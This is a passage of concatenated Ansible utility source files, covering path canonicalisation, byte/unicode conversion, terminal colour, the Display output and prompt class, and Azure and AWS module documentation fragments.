                                    elif isinstance(doc[key], MutableSet):
                                        doc[key].add(value)
                                    elif isinstance(doc[key], MutableSequence):
                                        doc[key] = sorted(frozenset(doc[key] + value))
                                    else:
                                        raise Exception("Attempt to extend a documentation fragement of unknown type")

                    elif 'EXAMPLES' in theid:
                        plainexamples = child.value.s[1:]  # Skip first empty line

                    elif 'RETURN' in theid:
                        returndocs = child.value.s[1:]
    except:
        display.error("unable to parse %s" % filename)
        if verbose == True:
            display.display("unable to parse %s" % filename)
            raise
    return doc, plainexamples, returndocs







# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import os
from errno import EEXIST
from ansible.errors import AnsibleError
from ansible.utils.unicode import to_bytes, to_str, to_unicode
from ansible.compat.six import PY2

__all__ = ['unfrackpath', 'makedirs_safe']

def unfrackpath(path):
    '''
    Returns a path that is free of symlinks, environment
    variables, relative path traversals and symbols (~)

    :arg path: A byte or text string representing a path to be canonicalized
    :raises UnicodeDecodeError: If the canonicalized version of the path
        contains non-utf8 byte sequences.
    :rtype: A text string (unicode on pyyhon2, str on python3).
    :returns: An absolute path with symlinks, environment variables, and tilde
        expanded.  Note that this does not check whether a path exists.

    example::
        '$HOME/../../var/mail' becomes '/var/spool/mail'
    '''
    canonical_path = os.path.normpath(os.path.realpath(os.path.expanduser(os.path.expandvars(to_bytes(path, errors='strict')))))
    if PY2:
        return to_unicode(canonical_path, errors='strict')
    return to_unicode(canonical_path, errors='surrogateescape')

def makedirs_safe(path, mode=None):
    '''Safe way to create dirs in muliprocess/thread environments.

    :arg path: A byte or text string representing a directory to be created
    :kwarg mode: If given, the mode to set the directory to
    :raises AnsibleError: If the directory cannot be created and does not already exists.
    :raises UnicodeDecodeError: if the path is not decodable in the utf-8 encoding.
    '''

    rpath = unfrackpath(path)
    b_rpath = to_bytes(rpath)
    if not os.path.exists(b_rpath):
        try:
            if mode:
                os.makedirs(b_rpath, mode)
            else:
                os.makedirs(b_rpath)
        except OSError as e:
            if e.errno != EEXIST:
                raise AnsibleError("Unable to create local directories(%s): %s" % (to_str(rpath), to_str(e)))






# (c) 2012-2014, Toshio Kuratomi <a.badger@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

from ansible.compat.six import string_types, text_type, binary_type, PY3

# to_bytes and to_unicode were written by Toshio Kuratomi for the
# python-kitchen library https://pypi.python.org/pypi/kitchen
# They are licensed in kitchen under the terms of the GPLv2+
# They were copied and modified for use in ansible by Toshio in Jan 2015
# (simply removing the deprecated features)

#: Aliases for the utf-8 codec
_UTF8_ALIASES = frozenset(('utf-8', 'UTF-8', 'utf8', 'UTF8', 'utf_8', 'UTF_8',
    'utf', 'UTF', 'u8', 'U8'))
#: Aliases for the latin-1 codec
_LATIN1_ALIASES = frozenset(('latin-1', 'LATIN-1', 'latin1', 'LATIN1',
    'latin', 'LATIN', 'l1', 'L1', 'cp819', 'CP819', '8859', 'iso8859-1',
    'ISO8859-1', 'iso-8859-1', 'ISO-8859-1'))

# EXCEPTION_CONVERTERS is defined below due to using to_unicode

def to_unicode(obj, encoding='utf-8', errors='replace', nonstring=None):
    '''Convert an object into a :class:`unicode` string

    :arg obj: Object to convert to a :class:`unicode` string.  This should
        normally be a byte :class:`str`
    :kwarg encoding: What encoding to try converting the byte :class:`str` as.
        Defaults to :term:`utf-8`
    :kwarg errors: If errors are found while decoding, perform this action.
        Defaults to ``replace`` which replaces the invalid bytes with
        a character that means the bytes were unable to be decoded.  Other
        values are the same as the error handling schemes in the `codec base
        classes
        <http://docs.python.org/library/codecs.html#codec-base-classes>`_.
        For instance ``strict`` which raises an exception and ``ignore`` which
        simply omits the non-decodable characters.
    :kwarg nonstring: How to treat nonstring values.  Possible values are:

        :simplerepr: Attempt to call the object's "simple representation"
            method and return that value.  Python-2.3+ has two methods that
            try to return a simple representation: :meth:`object.__unicode__`
            and :meth:`object.__str__`.  We first try to get a usable value
            from :meth:`object.__unicode__`.  If that fails we try the same
            with :meth:`object.__str__`.
        :empty: Return an empty :class:`unicode` string
        :strict: Raise a :exc:`TypeError`
        :passthru: Return the object unchanged
        :repr: Attempt to return a :class:`unicode` string of the repr of the
            object

        Default is ``simplerepr``

    :raises TypeError: if :attr:`nonstring` is ``strict`` and
        a non-:class:`basestring` object is passed in or if :attr:`nonstring`
        is set to an unknown value
    :raises UnicodeDecodeError: if :attr:`errors` is ``strict`` and
        :attr:`obj` is not decodable using the given encoding
    :returns: :class:`unicode` string or the original object depending on the
        value of :attr:`nonstring`.

    Usually this should be used on a byte :class:`str` but it can take both
    byte :class:`str` and :class:`unicode` strings intelligently.  Nonstring
    objects are handled in different ways depending on the setting of the
    :attr:`nonstring` parameter.

    The default values of this function are set so as to always return
    a :class:`unicode` string and never raise an error when converting from
    a byte :class:`str` to a :class:`unicode` string.  However, when you do
    not pass validly encoded text (or a nonstring object), you may end up with
    output that you don't expect.  Be sure you understand the requirements of
    your data, not just ignore errors by passing it through this function.
    '''
    # Could use isbasestring/isunicode here but we want this code to be as
    # fast as possible
    if isinstance(obj, text_type):
        return obj
    if isinstance(obj, binary_type):
        if encoding in _UTF8_ALIASES:
            return text_type(obj, 'utf-8', errors)
        if encoding in _LATIN1_ALIASES:
            return text_type(obj, 'latin-1', errors)
        return obj.decode(encoding, errors)

    if not nonstring:
        nonstring = 'simplerepr'
    if nonstring == 'empty':
        return u''
    elif nonstring == 'passthru':
        return obj
    elif nonstring == 'simplerepr':
        try:
            simple = obj.__unicode__()
        except (AttributeError, UnicodeError):
            simple = None
        if not simple:
            try:
                simple = text_type(obj)
            except UnicodeError:
                try:
                    simple = obj.__str__()
                except (UnicodeError, AttributeError):
                    simple = u''
        if isinstance(simple, binary_type):
            return text_type(simple, encoding, errors)
        return simple
    elif nonstring in ('repr', 'strict'):
        obj_repr = repr(obj)
        if isinstance(obj_repr, binary_type):
            obj_repr = text_type(obj_repr, encoding, errors)
        if nonstring == 'repr':
            return obj_repr
        raise TypeError('to_unicode was given "%(obj)s" which is neither'
            ' a byte string (str) or a unicode string' %
            {'obj': obj_repr.encode(encoding, 'replace')})

    raise TypeError('nonstring value, %(param)s, is not set to a valid'
        ' action' % {'param': nonstring})

def to_bytes(obj, encoding='utf-8', errors='replace', nonstring=None):
    '''Convert an object into a byte :class:`str`

    :arg obj: Object to convert to a byte :class:`str`.  This should normally
        be a :class:`unicode` string.
    :kwarg encoding: Encoding to use to convert the :class:`unicode` string
        into a byte :class:`str`.  Defaults to :term:`utf-8`.
    :kwarg errors: If errors are found while encoding, perform this action.
        Defaults to ``replace`` which replaces the invalid bytes with
        a character that means the bytes were unable to be encoded.  Other
        values are the same as the error handling schemes in the `codec base
        classes
        <http://docs.python.org/library/codecs.html#codec-base-classes>`_.
        For instance ``strict`` which raises an exception and ``ignore`` which
        simply omits the non-encodable characters.
    :kwarg nonstring: How to treat nonstring values.  Possible values are:

        :simplerepr: Attempt to call the object's "simple representation"
            method and return that value.  Python-2.3+ has two methods that
            try to return a simple representation: :meth:`object.__unicode__`
            and :meth:`object.__str__`.  We first try to get a usable value
            from :meth:`object.__str__`.  If that fails we try the same
            with :meth:`object.__unicode__`.
        :empty: Return an empty byte :class:`str`
        :strict: Raise a :exc:`TypeError`
        :passthru: Return the object unchanged
        :repr: Attempt to return a byte :class:`str` of the :func:`repr` of the
            object

        Default is ``simplerepr``.

    :raises TypeError: if :attr:`nonstring` is ``strict`` and
        a non-:class:`basestring` object is passed in or if :attr:`nonstring`
        is set to an unknown value.
    :raises UnicodeEncodeError: if :attr:`errors` is ``strict`` and all of the
        bytes of :attr:`obj` are unable to be encoded using :attr:`encoding`.
    :returns: byte :class:`str` or the original object depending on the value
        of :attr:`nonstring`.

    .. warning::

        If you pass a byte :class:`str` into this function the byte
        :class:`str` is returned unmodified.  It is **not** re-encoded with
        the specified :attr:`encoding`.  The easiest way to achieve that is::

            to_bytes(to_unicode(text), encoding='utf-8')

        The initial :func:`to_unicode` call will ensure text is
        a :class:`unicode` string.  Then, :func:`to_bytes` will turn that into
        a byte :class:`str` with the specified encoding.

    Usually, this should be used on a :class:`unicode` string but it can take
    either a byte :class:`str` or a :class:`unicode` string intelligently.
    Nonstring objects are handled in different ways depending on the setting
    of the :attr:`nonstring` parameter.

    The default values of this function are set so as to always return a byte
    :class:`str` and never raise an error when converting from unicode to
    bytes.  However, when you do not pass an encoding that can validly encode
    the object (or a non-string object), you may end up with output that you
    don't expect.  Be sure you understand the requirements of your data, not
    just ignore errors by passing it through this function.
    '''
    # Could use isbasestring, isbytestring here but we want this to be as fast
    # as possible
    if isinstance(obj, binary_type):
        return obj
    if isinstance(obj, text_type):
        return obj.encode(encoding, errors)
    if not nonstring:
        nonstring = 'simplerepr'

    if nonstring == 'empty':
        return b''
    elif nonstring == 'passthru':
        return obj
    elif nonstring == 'simplerepr':
        try:
            simple = str(obj)
        except UnicodeError:
            try:
                simple = obj.__str__()
            except (AttributeError, UnicodeError):
                simple = None
        if not simple:
            try:
                simple = obj.__unicode__()
            except (AttributeError, UnicodeError):
                simple = b''
        if isinstance(simple, text_type):
            simple = simple.encode(encoding, 'replace')
        return simple
    elif nonstring in ('repr', 'strict'):
        try:
            obj_repr = obj.__repr__()
        except (AttributeError, UnicodeError):
            obj_repr = b''
        if isinstance(obj_repr, text_type):
            obj_repr =  obj_repr.encode(encoding, errors)
        else:
            obj_repr = binary_type(obj_repr)
        if nonstring == 'repr':
            return obj_repr
        raise TypeError('to_bytes was given "%(obj)s" which is neither'
            ' a unicode string or a byte string (str)' % {'obj': obj_repr})

    raise TypeError('nonstring value, %(param)s, is not set to a valid'
        ' action' % {'param': nonstring})


# force the return value of a function to be unicode.  Use with partial to
# ensure that a filter will return unicode values.
def unicode_wrap(func, *args, **kwargs):
    return to_unicode(func(*args, **kwargs), nonstring='passthru')


# Alias for converting to native strings.
# Native strings are the default string type for the particular version of
# python.  The objects are called "str" in both py2 and py3 but they mean
# different things.  In py2, it's a byte string like in C.  In py3 it's an
# abstract text type (like py2's unicode type).
#
# Use this when raising exceptions and wanting to get the string
# representation of an object for the exception message.  For example:
#
# try:
#    do_something()
# except Exception as e:
#    raise AnsibleError(to_str(e))
#
# Note that this is because python's exception handling expects native strings
# and doe the wrong thing if given the other sort of string (in py2, if given
# unicode strings, it could traceback or omit the message.  in py3, if given
# byte strings it prints their repr (so the message ends up as b'message').
#
# If you use ansible's API instead of re-raising an exception, use to_unicode
# instead:
#
# try:
#     do_something()
# except Exception as e:
#     display.warn(to_unicode(e))
if PY3:
    to_str = to_unicode
else:
    to_str = to_bytes






# (c) 2015, Marius Gedminas <marius@gedmin.as>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# alongwith Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import shlex
from ansible.compat.six import PY3

from ansible.utils.unicode import to_bytes, to_unicode


if PY3:
    # shlex.split() wants Unicode (i.e. ``str``) input on Python 3
    shlex_split = shlex.split
else:
    # shlex.split() wants bytes (i.e. ``str``) input on Python 2
    def shlex_split(s, comments=False, posix=True):
        return map(to_unicode, shlex.split(to_bytes(s), comments, posix))
    shlex_split.__doc__ = shlex.split.__doc__






# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import sys

from ansible import constants as C

ANSIBLE_COLOR=True
if C.ANSIBLE_NOCOLOR:
    ANSIBLE_COLOR=False
elif not hasattr(sys.stdout, 'isatty') or not sys.stdout.isatty():
    ANSIBLE_COLOR=False
else:
    try:
        import curses
        curses.setupterm()
        if curses.tigetnum('colors') < 0:
            ANSIBLE_COLOR=False
    except ImportError:
        # curses library was not found
        pass
    except curses.error:
        # curses returns an error (e.g. could not find terminal)
        ANSIBLE_COLOR=False

if C.ANSIBLE_FORCE_COLOR:
        ANSIBLE_COLOR=True

# --- begin "pretty"
#
# pretty - A miniature library that provides a Python print and stdout
# wrapper that makes colored terminal text easier to use (e.g. without
# having to mess around with ANSI escape sequences). This code is public
# domain - there is no license except that you must leave this header.
#
# Copyright (C) 2008 Brian Nez <thedude at bri1 dot com>
#
# http://nezzen.net/2008/06/23/colored-text-in-python-using-ansi-escape-sequences/

codeCodes = {
    'black':     u'0;30', 'bright gray':    u'0;37',
    'blue':      u'0;34', 'white':          u'1;37',
    'green':     u'0;32', 'bright blue':    u'1;34',
    'cyan':      u'0;36', 'bright green':   u'1;32',
    'red':       u'0;31', 'bright cyan':    u'1;36',
    'purple':    u'0;35', 'bright red':     u'1;31',
    'yellow':    u'0;33', 'bright purple':  u'1;35',
    'dark gray': u'1;30', 'bright yellow':  u'1;33',
    'magenta':   u'0;35', 'bright magenta': u'1;35',
    'normal':    u'0'   ,
}

def stringc(text, color):
    """String in color."""

    if ANSIBLE_COLOR:
        return u"\033[%sm%s\033[0m" % (codeCodes[color], text)
    else:
        return text

# --- end "pretty"

def colorize(lead, num, color):
    """ Print 'lead' = 'num' in 'color' """
    s = u"%s=%-4s" % (lead, str(num))
    if num != 0 and ANSIBLE_COLOR and color is not None:
        s = stringc(s, color)
    return s

def hostcolor(host, stats, color=True):
    if ANSIBLE_COLOR and color:
        if stats['failures'] != 0 or stats['unreachable'] != 0:
            return u"%-37s" % stringc(host, 'red')
        elif stats['changed'] != 0:
            return u"%-37s" % stringc(host, 'yellow')
        else:
            return u"%-37s" % stringc(host, 'green')
    return u"%-26s" % host







# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type






# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type


def boolean(value):
    val = str(value)
    if val.lower() in [ "true", "t", "y", "1", "yes" ]:
        return True
    else:
        return False







# (c) 2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import fcntl
import textwrap
import os
import random
import subprocess
import sys
import time
import locale
import logging
import getpass
import errno
from struct import unpack, pack
from termios import TIOCGWINSZ

from ansible import constants as C
from ansible.errors import AnsibleError
from ansible.utils.color import stringc
from ansible.utils.unicode import to_bytes, to_unicode

try:
    from __main__ import debug_lock
except ImportError:
    # for those not using a CLI, though ...
    # this might not work well after fork
    from multiprocessing import Lock
    debug_lock = Lock()

try:
    # Python 2
    input = raw_input
except NameError:
    # Python 3, we already have raw_input
    pass



logger = None
#TODO: make this a logging callback instead
if C.DEFAULT_LOG_PATH:
    path = C.DEFAULT_LOG_PATH
    if (os.path.exists(path) and os.access(path, os.W_OK)) or os.access(os.path.dirname(path), os.W_OK):
        logging.basicConfig(filename=path, level=logging.DEBUG, format='%(asctime)s %(name)s %(message)s')
        mypid = str(os.getpid())
        user = getpass.getuser()
        logger = logging.getLogger("p=%s u=%s | " % (mypid, user))
    else:
        print("[WARNING]: log file at %s is not writeable and we cannot create it, aborting\n" % path, file=sys.stderr)


class Display:

    def __init__(self, verbosity=0):

        self.columns = None
        self.verbosity = verbosity

        # list of all deprecation messages to prevent duplicate display
        self._deprecations = {}
        self._warns        = {}
        self._errors       = {}

        self.cowsay = None
        self.noncow = C.ANSIBLE_COW_SELECTION

        self.set_cowsay_info()

        if self.cowsay:
            try:
                cmd = subprocess.Popen([self.cowsay, "-l"], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
                (out, err) = cmd.communicate()
                self.cows_available = list(set(C.ANSIBLE_COW_WHITELIST).intersection(out.split()))
            except:
                # could not execute cowsay for some reason
                self.cowsay = False

        self._set_column_width()

    def set_cowsay_info(self):

        if not C.ANSIBLE_NOCOWS:
            if os.path.exists("/usr/bin/cowsay"):
                self.cowsay = "/usr/bin/cowsay"
            elif os.path.exists("/usr/games/cowsay"):
                self.cowsay = "/usr/games/cowsay"
            elif os.path.exists("/usr/local/bin/cowsay"):
                # BSD path for cowsay
                self.cowsay = "/usr/local/bin/cowsay"
            elif os.path.exists("/opt/local/bin/cowsay"):
                # MacPorts path for cowsay
                self.cowsay = "/opt/local/bin/cowsay"

    def display(self, msg, color=None, stderr=False, screen_only=False, log_only=False):
        """ Display a message to the user

        Note: msg *must* be a unicode string to prevent UnicodeError tracebacks.
        """ 

        # FIXME: this needs to be implemented
        #msg = utils.sanitize_output(msg)
        nocolor = msg
        if color:
            msg = stringc(msg, color)

        if not log_only:
            if not msg.endswith(u'\n'):
                msg2 = msg + u'\n'
            else:
                msg2 = msg

            msg2 = to_bytes(msg2, encoding=self._output_encoding(stderr=stderr))
            if sys.version_info >= (3,):
                # Convert back to text string on python3
                # We first convert to a byte string so that we get rid of
                # characters that are invalid in the user's locale
                msg2 = to_unicode(msg2, self._output_encoding(stderr=stderr))

            if not stderr:
                fileobj = sys.stdout
            else:
                fileobj = sys.stderr

            fileobj.write(msg2)

            try:
                fileobj.flush()
            except IOError as e:
                # Ignore EPIPE in case fileobj has been prematurely closed, eg.
                # when piping to "head -n1"
                if e.errno != errno.EPIPE:
                    raise

        if logger and not screen_only:
            msg2 = nocolor.lstrip(u'\n')

            msg2 = to_bytes(msg2)
            if sys.version_info >= (3,):
                # Convert back to text string on python3
                # We first convert to a byte string so that we get rid of
                # characters that are invalid in the user's locale
                msg2 = to_unicode(msg2, self._output_encoding(stderr=stderr))

            if color == C.COLOR_ERROR:
                logger.error(msg2)
            else:
                logger.info(msg2)

    def v(self, msg, host=None):
        return self.verbose(msg, host=host, caplevel=0)

    def vv(self, msg, host=None):
        return self.verbose(msg, host=host, caplevel=1)

    def vvv(self, msg, host=None):
        return self.verbose(msg, host=host, caplevel=2)

    def vvvv(self, msg, host=None):
        return self.verbose(msg, host=host, caplevel=3)

    def vvvvv(self, msg, host=None):
        return self.verbose(msg, host=host, caplevel=4)

    def vvvvvv(self, msg, host=None):
        return self.verbose(msg, host=host, caplevel=5)

    def debug(self, msg):
        if C.DEFAULT_DEBUG:
            debug_lock.acquire()
            self.display("%6d %0.5f: %s" % (os.getpid(), time.time(), msg), color=C.COLOR_DEBUG)
            debug_lock.release()

    def verbose(self, msg, host=None, caplevel=2):
        # FIXME: this needs to be implemented
        #msg = utils.sanitize_output(msg)
        if self.verbosity > caplevel:
            if host is None:
                self.display(msg, color=C.COLOR_VERBOSE)
            else:
                self.display("<%s> %s" % (host, msg), color=C.COLOR_VERBOSE, screen_only=True)

    def deprecated(self, msg, version=None, removed=False):
        ''' used to print out a deprecation message.'''

        if not removed and not C.DEPRECATION_WARNINGS:
            return

        if not removed:
            if version:
                new_msg = "[DEPRECATION WARNING]: %s.\nThis feature will be removed in version %s." % (msg, version)
            else:
                new_msg = "[DEPRECATION WARNING]: %s.\nThis feature will be removed in a future release." % (msg)
            new_msg = new_msg + " Deprecation warnings can be disabled by setting deprecation_warnings=False in ansible.cfg.\n\n"
        else:
            raise AnsibleError("[DEPRECATED]: %s.\nPlease update your playbooks." % msg)

        wrapped = textwrap.wrap(new_msg, self.columns, replace_whitespace=False, drop_whitespace=False)
        new_msg = "\n".join(wrapped) + "\n"

        if new_msg not in self._deprecations:
            self.display(new_msg.strip(), color=C.COLOR_DEPRECATE, stderr=True)
            self._deprecations[new_msg] = 1

    def warning(self, msg, formatted=False):

        if not formatted:
            new_msg = "\n[WARNING]: %s" % msg
            wrapped = textwrap.wrap(new_msg, self.columns)
            new_msg = "\n".join(wrapped) + "\n"
        else:
            new_msg = "\n[WARNING]: \n%s" % msg

        if new_msg not in self._warns:
            self.display(new_msg, color=C.COLOR_WARN, stderr=True)
            self._warns[new_msg] = 1

    def system_warning(self, msg):
        if C.SYSTEM_WARNINGS:
            self.warning(msg)

    def banner(self, msg, color=None):
        '''
        Prints a header-looking line with stars taking up to 80 columns
        of width (3 columns, minimum)
        '''
        if self.cowsay:
            try:
                self.banner_cowsay(msg)
                return
            except OSError:
                self.warning("somebody cleverly deleted cowsay or something during the PB run.  heh.")

        msg = msg.strip()
        star_len = (79 - len(msg))
        if star_len < 0:
            star_len = 3
        stars = "*" * star_len
        self.display("\n%s %s" % (msg, stars), color=color)

    def banner_cowsay(self, msg, color=None):
        if ": [" in msg:
            msg = msg.replace("[","")
            if msg.endswith("]"):
                msg = msg[:-1]
        runcmd = [self.cowsay,"-W", "60"]
        if self.noncow:
            thecow = self.noncow
            if thecow == 'random':
                thecow = random.choice(self.cows_available)
            runcmd.append('-f')
            runcmd.append(thecow)
        runcmd.append(msg)
        cmd = subprocess.Popen(runcmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        (out, err) = cmd.communicate()
        self.display("%s\n" % out, color=color)

    def error(self, msg, wrap_text=True):
        if wrap_text:
            new_msg = u"\n[ERROR]: %s" % msg
            wrapped = textwrap.wrap(new_msg, self.columns)
            new_msg = u"\n".join(wrapped) + u"\n"
        else:
            new_msg = u"ERROR! %s" % msg
        if new_msg not in self._errors:
            self.display(new_msg, color=C.COLOR_ERROR, stderr=True)
            self._errors[new_msg] = 1

    @staticmethod
    def prompt(msg, private=False):
        prompt_string = to_bytes(msg, encoding=Display._output_encoding())
        if sys.version_info >= (3,):
            # Convert back into text on python3.  We do this double conversion
            # to get rid of characters that are illegal in the user's locale
            prompt_string = to_unicode(prompt_string)

        if private:
            return getpass.getpass(msg)
        else:
            return input(prompt_string)

    def do_var_prompt(self, varname, private=True, prompt=None, encrypt=None, confirm=False, salt_size=None, salt=None, default=None):

        result = None
        if sys.__stdin__.isatty():

            do_prompt = self.prompt

            if prompt and default is not None:
                msg = "%s [%s]: " % (prompt, default)
            elif prompt:
                msg = "%s: " % prompt
            else:
                msg = 'input for %s: ' % varname

            if confirm:
                while True:
                    result = do_prompt(msg, private)
                    second = do_prompt("confirm " + msg, private)
                    if result == second:
                        break
                    self.display("***** VALUES ENTERED DO NOT MATCH ****")
            else:
                result = do_prompt(msg, private)
        else:
            result = None
            self.warning("Not prompting as we are not in interactive mode")

        # if result is false and default is not None
        if not result and default is not None:
            result = default

        if encrypt:
            # Circular import because encrypt needs a display class
            from ansible.utils.encrypt import do_encrypt
            result = do_encrypt(result, encrypt, salt_size, salt)

        # handle utf-8 chars
        result = to_unicode(result, errors='strict')
        return result

    @staticmethod
    def _output_encoding(stderr=False):
        encoding = locale.getpreferredencoding()
        # https://bugs.python.org/issue6202
        # Python2 hardcodes an obsolete value on Mac.  Use MacOSX defaults
        # instead.
        if encoding in ('mac-roman',):
            encoding = 'utf-8'
        return encoding

    def _set_column_width(self):
        if os.isatty(0):
            tty_size = unpack('HHHH', fcntl.ioctl(0, TIOCGWINSZ, pack('HHHH', 0, 0, 0, 0)))[1]
        else:
            tty_size = 0
        self.columns = max(79, tty_size)






# (c) 2016, Ansible by Red Hat <support@ansible.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

from ansible.compat.six import string_types

def pct_to_int(value, num_items, min_value=1):
    '''
    Converts a given value to a percentage if specified as "x%",
    otherwise converts the given value to an integer. 
    '''
    if isinstance(value, string_types) and value.endswith('%'):
        value_pct = int(value.replace("%",""))
        return int((value_pct/100.0) * num_items) or min_value
    else:
        return int(value)







#!/usr/bin/python
#
# Copyright (c) 2016 Matt Davis, <mdavis@ansible.com>
#                    Chris Houseknecht, <house@redhat.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
#


class ModuleDocFragment(object):

    # Azure doc fragment
    DOCUMENTATION = '''

options:
    ad_user:
        description:
            - Active Directory username. Use when authenticating with an Active Directory user rather than service
              principal.
        required: false
        default: null
    password:
        description:
            - Active Directory user password. Use when authenticating with an Active Directory user rather than service
              principal.
        required: false
        default: null
    profile:
        description:
            - Security profile found in ~/.azure/credentials file.
        required: false
        default: null
    subscription_id:
        description:
            - Your Azure subscription Id.
        required: false
        default: null
    client_id:
        description:
            - Azure client ID. Use when authenticating with a Service Principal.
        required: false
        default: null
    secret:
        description:
            - Azure client secret. Use when authenticating with a Service Principal.
        required: false
        default: null
    tenant:
        description:
            - Azure tenant ID. Use when authenticating with a Service Principal.
        required: false
        default: null

requirements:
    - "python >= 2.7"
    - "azure == 2.0.0rc5"

notes:
    - For authentication with Azure you can pass parameters, set environment variables or use a profile stored
      in ~/.azure/credentials. Authentication is possible using a service principal or Active Directory user.
      To authenticate via service principal pass subscription_id, client_id, secret and tenant or set set environment
      variables AZURE_SUBSCRIPTION_ID, AZURE_CLIENT_ID, AZURE_SECRET and AZURE_TENANT.
    - To Authentication via Active Directory user pass ad_user and password, or set AZURE_AD_USER and
      AZURE_PASSWORD in the environment.
    - "Alternatively, credentials can be stored in ~/.azure/credentials. This is an ini file containing
      a [default] section and the following keys: subscription_id, client_id, secret and tenant or
      subscription_id, ad_user and password. It is also possible to add additional profiles. Specify the profile
      by passing profile or setting AZURE_PROFILE in the environment."
    '''






# (c) 2014, Will Thames <will@thames.id.au>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.


class ModuleDocFragment(object):

    # AWS only documentation fragment
    DOCUMENTATION = """
options:
  ec2_url:
    description:
